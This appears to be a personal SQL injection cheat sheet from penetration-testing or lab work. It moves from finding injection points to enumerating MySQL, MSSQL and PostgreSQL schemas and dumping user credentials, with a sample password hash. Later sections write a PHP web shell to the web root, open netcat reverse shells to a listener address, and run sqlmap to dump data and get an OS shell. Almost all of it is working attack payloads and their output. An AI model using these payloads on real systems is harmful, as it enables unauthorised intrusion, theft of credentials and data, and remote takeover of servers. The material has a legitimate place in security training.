Sql Enumeration Steps
🔍 1. Identify Injection Point
#injection-point
Start by checking for SQL injection vulnerabilities using common payloads in input fields or URL parameters.
Examples:
' OR '1'='1
' UNION SELECT NULL--
🧪 2. Determine Injection Type
#injection-type
Figure out which type of SQL injection you’re dealing with:
-
Error-based – Database error messages are visible.
-
Union-based – You can inject
UNION SELECTqueries. -
Blind – No visible output; use true/false or time-based techniques.
-
Time-based blind – Use
SLEEP()orWAITFOR DELAY
—> SQL Injection Type Identification
🗂 3. Find Number of Columns
#column-number
Use ORDER BY or UNION SELECT to determine how many columns are returned by the query. (we can use burp suite and observe the content-length for change)
Example:
' ORDER BY 1-- -
' ORDER BY 2-- -
...
Or:
' UNION SELECT NULL, NULL--
Or (using double quote type, rare in SQL)
" ORDER BY 1-- -
Add columns until you get an error or invalid output.
Test without quotes if an error is displayed at order by 1
ORDER BY 1-- -
🧱 4. Identify Displayed Columns
#columns-identification
Find which columns’ results are shown in the response.
Example:
' UNION SELECT 1,2,3--
The numbers that appear in the response are injectable/displayable.
🧠 5. Identify Database Type
#database-type
Based on error messages or behavior, determine if the DBMS is:
-
MySQL
-
MSSQL
-
PostgreSQL
-
Oracle
-
SQLite
Use database-specific functions to confirm.
🏛 6. Enumerate the Database
#database-enumeration
Use built-in functions/tables to list databases, tables, and columns.
For MySQL:
List Databases
-- List databases
' UNION SELECT schema_name, NULL FROM information_schema.schemata;-- -
to see more than one database we use group_concat() which will put all the values from different rows into one string
-- List databases
' UNION SELECT group_concat(schema_name), NULL FROM information_schema.schemata;-- -
List Tables
-- List tables
' UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema='target_db';-- -
to see more than one table we use group_concat() which will put all the values from different rows into one string
' UNION SELECT group_concat(table_name), NULL FROM information_schema.tables WHERE table_schema='target_db';-- -
List Columns
-- List columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='target_table'--
Get MySQL User Password
' UNION SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- -
Full Example:
| Goal | Injection |
|---|---|
| Result | |
| List DBs | SELECT 1, group_concat(schema_name), 3, 4, 5, 6, 7 from information_schema.schemata;-- - |
| hotel,information_schema,mysql,performance_schema | |
| Show Tables in hotel | SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='hotel' ;-- - |
| room | |
| Show Columns in room | SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='room';-- - |
| cod,name,price,descrip,star,image,mini | |
| Show Tables in mysql | SELECT 1, group_concat(table_name), 3, 4, 5, 6, 7 from information_schema.tables where table_schema='mysql' ;-- - |
| column_stats,columns_priv,db,event,func, general_log,gtid_slave_pos,help_category, help_keyword,help_relation,help_topic,host, index_stats,innodb_index_stats,innodb_table_stats, plugin,proc,procs_priv,proxies_priv,roles_mapping, servers,slow_log,table_stats,tables_priv,time_zone, time_zone_leap_second,time_zone_name, time_zone_transition,time_zone_transition_type,user | |
| Show Columns in user | SELECT 1, group_concat(column_name), 3, 4, 5, 6, 7 from information_schema.columns where table_name='user';-- - |
| Host,User,Password,Select_priv,Insert_priv,Update_priv, Delete_priv,Create_priv,Drop_priv,Reload_priv, Shutdown_priv,Process_priv,File_priv,Grant_priv, References_priv,Index_priv,Alter_priv,Show_db_priv, Super_priv,Create_tmp_table_priv,Lock_tables_priv, Execute_priv,Repl_slave_priv,Repl_client_priv, Create_view_priv,Show_view_priv,Create_routine_priv, Alter_routine_priv,Create_user_priv,Event_priv, Trigger_priv,Create_tablespace_priv,ssl_type,ssl_cipher, x509_issuer,x509_subject,max_questions,max_updates, max_connections,max_user_connections,plugin, authentication_string,password_expired,is_role, default_role,max_statement_time | |
| Get Username / Password | SELECT 1, user,3, 4,password, 6, 7 from mysql.user;-- - |
| DBadmin 2D2B7A5E4E637B8FBA1D17F40318F277D29964D0 |
For MSSQL:
List Databases
-- List databases
' UNION SELECT name, NULL FROM master.dbo.sysdatabases--
List Tables
-- List tables
' UNION SELECT name, NULL FROM target_db.dbo.sysobjects WHERE xtype='U'--
List Columns
-- List columns
' UNION SELECT name, NULL FROM target_db.dbo.syscolumns WHERE id = OBJECT_ID('target_table')--
For PostgreSQL
List Databases
-- List databases
' UNION SELECT datname, NULL FROM pg_database--
datname: the name of each database.
Tables are stored in the pg_tables view or pg_class catalog.
List Tables
-- List tables
' UNION SELECT tablename, NULL FROM pg_tables WHERE schemaname='public'--
-
You can change
'public'to any schema name (e.g.,information_schema,pg_catalog). -
Alternatively, use:
' UNION SELECT relname, NULL FROM pg_class WHERE relkind='r'--
(this filters for regular tables only).
List Columns
For Columns
Columns are listed in information_schema.columns or pg_attribute.
Using information_schema (clear and easy):
-- List columns
' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='target_table'--
- Adjust
'target_table'accordingly.
Alternatively, via pg_attribute + pg_class:
' UNION SELECT attname, NULL FROM pg_attribute WHERE attrelid = 'target_table'::regclass AND attnum > 0 AND NOT attisdropped--
-
attname: column name -
attrelid: links to table name (useregclasscast for lookup)
📥 7. Dump Data
#data-dump
Once you know the tables and columns, extract actual data:
' UNION SELECT username, password FROM users--
📥 8. Get Rev shell
#rev-shell
for MySQL
SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE "/var/www/html/shell.php";
then get a rev shell from the website
http://192.168.174.48/shell.php?cmd=busybox nc 192.168.45.173 443 -e /bin/sh
for PostgreSQL
this is using stacked commands (Query Stacking), since we cannot use COPY as part of a UNION SELECT expression
weight=5&height=5' UNION SELECT 'a',2,3,'d','e',NULL; COPY (SELECT '<?php system($_GET[''cmd'']); ?>') TO '/var/www/html/shell.php'-- &age=5&gender=Male&email=test%40gmail.com
or running a rev shell directly, if we have no write permissions
weight=5&height=5' UNION SELECT 'a',2,3,'d','e',NULL; COPY (SELECT 'dummy') TO PROGRAM 'nc 192.168.45.173 443 -e /bin/bash'-- &age=5&gender=Male&email=test%40gmail.com
🧰 9. Automate with Tools
Use sqlmap or other tools to speed up enumeration:
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D target_db --tables
sqlmap -u "http://target.com/page.php?id=1" -D target_db -T users --dump
sqlmap for rev shell
sqlmap -u "http://target.com/?id=1" --os-shell